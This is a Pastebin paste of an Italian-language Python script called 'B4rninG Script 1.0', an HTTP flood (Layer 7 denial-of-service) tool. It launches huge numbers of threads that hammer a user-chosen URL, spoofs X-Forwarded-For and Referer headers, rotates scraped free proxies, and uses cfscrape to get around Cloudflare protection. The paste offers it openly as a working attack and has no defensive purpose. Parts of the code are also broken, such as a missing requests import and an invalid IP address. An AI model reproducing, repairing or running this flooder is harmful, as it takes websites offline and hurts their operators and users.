Advertisement
Guest User

gavtaa

a guest
Jul 22nd, 2018
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.05 KB | None | 0 0
  1. import urllib.request, os, threading, time, random, sys, random, string, cfscrape
  2.  
  3. scraper = cfscrape.create_scraper()
  4. session = requests.session()
  5. session.headers = ...
  6. scraper = cfscrape.create_scraper(sess=session)
  7.  
  8. class Spammer(threading.Thread):
  9.  
  10. def __init__(self, url, number, lista):
  11. threading.Thread.__init__(self)
  12. self.url = url
  13. self.num = number
  14. self.data = None
  15. self.chars = [", 94.10.0.0",", 178.32.0.52", ", 73.32.52.123", ", 127.0.0.1", ", 192.168.1.254",
  16. ", 94.23.50.21", ", 45.23.542.1", ", 190.12.42.12", ", 95.65.243.12", ", 65.23.271.12"]
  17. self.headers = { 'Cookie' : 'notabot=1',
  18. 'Accept-Encoding' : 'gzip,deflate',
  19. 'Connection' : 'Keep-alive',
  20. 'Accept': '*/*',
  21. 'Host' : 'www.google.it',
  22. 'X-Forwarded-For' : ''.join(random.choice(self.chars) for x in range(6)),
  23. 'Referer' : 'google.it',
  24. 'Via' : 'wwww.google.it',
  25. 'User-Agent' : 'Mozilla/5.0 Firefox/3.5.6 Tapatalk/1.0' }
  26. self.Lock = threading.Lock()
  27. self.lista = lista
  28.  
  29. def request_proxy(self):
  30. global N
  31. if N >= (len(self.lista) - 1):
  32. N = 0
  33. proxy = urllib.request.ProxyHandler({'http': self.lista[N]})
  34. opener = urllib.request.build_opener(proxy)
  35. urllib.request.install_opener(opener)
  36. sys.stdout.write("Pacchetti #%4d | %4d\%d | Proxy %s" % (self.num, N, len(self.lista), self.lista[N]))
  37.  
  38. def request_default(self):
  39. req = urllib.request.Request(self.url, self.data, {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'})
  40. response = urllib.request.urlopen(req)
  41. print ("Pacchetti #%4d | B4rninG Script @ %s" % (self.num, self.url))
  42.  
  43. def run(self):
  44. global N
  45. while True:
  46. try:
  47. if Proxy_Mode:
  48. N += 1
  49. self.request_proxy()
  50. else:
  51. self.request_default()
  52. except:
  53. pass
  54.  
  55. class MainLoop():
  56.  
  57. def __init__(self):
  58. if os.name in ("nt", "dos", "ce"):
  59. os.system('cls')
  60. os.system('title B4rninG Script 1.0')
  61. os.system('color a')
  62. color = ['a', 'b', 'c', 'd', 'e', 'f']
  63. os.system('color %s' % (color[random.randint(0, 5)]))
  64.  
  65. print ('\n ################################### \n')
  66. print (' B4rninG 1.0\n ')
  67. print (' ################################################# ')
  68. print ('\n\t L7 Script - Codders Credits: B4rninG & Special thx Ares \n')
  69. print ('\t Features: Attack Normal & Cloudflare (Working) - #ShutUP \n\n')
  70.  
  71. def check_url(self, url):
  72. if url[0]+url[1]+url[2]+url[3] == "www.":
  73. url = "http://" + url
  74. elif url[0]+url[1]+url[2]+url[3] == "http":
  75. pass
  76. else:
  77. url = "http://" + url
  78. return url
  79.  
  80. def retrieve_proxy(self):
  81. sourcecode = urllib.request.urlopen("http://free-proxy-list.net/web-proxy.html")
  82. half = str(sourcecode.read())
  83. half = half.split("<tbody>")
  84. half = half[1].split("</tbody>")
  85. half = half[0].split("<tr><td>")
  86. lista = ""
  87. for proxy in half:
  88. proxy = proxy.split("</td><td>")
  89. try:
  90. lista = lista + proxy[0] + ":" + proxy[1] + "\n"
  91. except:
  92. pass
  93. out_file = open("proxy.txt","w")
  94. out_file.write(lista)
  95. out_file.close()
  96.  
  97. def setup(self):
  98. global Proxy_Mode
  99. while True:
  100. try:
  101. url = input('=> Destinatario: ')
  102. url = self.check_url(url)
  103. req = urllib.request.Request(url, None, {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'})
  104. break
  105. except:
  106. print ('=> I nostri Server non hanno individuato nessun Url/IP con tali credenziali.')
  107. while True:
  108. try:
  109. o = input('=> Enter: ')
  110. if o == 'y':
  111. Proxy_Mode = True
  112. break
  113. else:
  114. Proxy_Mode = False
  115. lista = False
  116. break
  117. except:
  118. pass
  119. if Proxy_Mode:
  120. while True:
  121. try:
  122. s = str(input("> Enter: "))
  123. if s == "y":
  124. self.retrieve_proxy()
  125. print("> Lista Proxy Installata.")
  126. break
  127. else:
  128. break
  129. except:
  130. print ('=> Problema Nel Download Dei Proxy.')
  131. while True:
  132. try:
  133. l = str(input('> Sposta Qui La Lista Dei Proxy: '))
  134. in_file = open(l,"r")
  135. lista = []
  136. for i in in_file:
  137. lista.append(i.split("/n")[0])
  138. break
  139. except:
  140. print ('Errore Nella Lettura Dei Proxy.')
  141. while True:
  142. try:
  143. num_threads = int(input('=> Thread: '))
  144. except:
  145. num_threads = 50000000
  146. break
  147.  
  148. print ("-----------------------------------------------------------\n Bersaglio:\t%s\n ThreadsBomber:\t%s\n Pacchetti:\t%d\n-----------------------------------------------------------\n => B4rninG Script..\n" % (url, Proxy_Mode, num_threads))
  149. time.sleep(0)
  150. for i in range(num_threads):
  151. Spammer(url, i + 1, lista).start()
  152.  
  153. if __name__ == '__main__':
  154. N = 0
  155. b = MainLoop()
  156. b.setup()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement